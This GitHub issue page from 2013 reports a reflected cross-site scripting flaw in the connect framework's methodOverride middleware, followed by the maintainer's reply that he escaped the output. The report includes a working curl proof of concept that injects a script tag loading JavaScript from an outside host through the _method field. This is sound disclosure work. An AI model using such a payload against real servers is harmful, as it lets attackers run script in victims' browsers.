Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Issue - Cross-Site Scripting with connect.methodOverride() #831

Closed
m13 opened this issue Jun 27, 2013 · 1 comment
Closed

Security Issue - Cross-Site Scripting with connect.methodOverride() #831

m13 opened this issue Jun 27, 2013 · 1 comment

Comments

@m13
Copy link

m13 commented Jun 27, 2013

This middleware overwrite req.method with the req.body['_method'] value. When you don't catch the error it responds with a default error msg: "Cannot [METHOD] [URL]" (

res.end('Cannot ' + req.method + ' ' + utils.escape(req.originalUrl));
). Because this is not enough sanitized, you can force a Cross-Site Scripting in the response:

~ curl "localhost:3000" -d "_method=<script src=http://martes13.net/a.js></script>"
Cannot <SCRIPT SRC=HTTP://MARTES13.NET/A.JS></SCRIPT> /

This is very dangerous because in a server like ExpressJS it won't be handled with a app.all('/*', ...), so all servers using this middleware are vulnerable.

To fix this hole, I don't know if it is better to fix the proto.js#L155 or the middleware.

@tj
Copy link
Member

tj commented Jun 27, 2013

I patched with an escape for now but I'll whitelist the methods as well, it's not a huge vulnerability since you can't easily pass around a POST but doesn't hurt to escape, thanks for the report

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants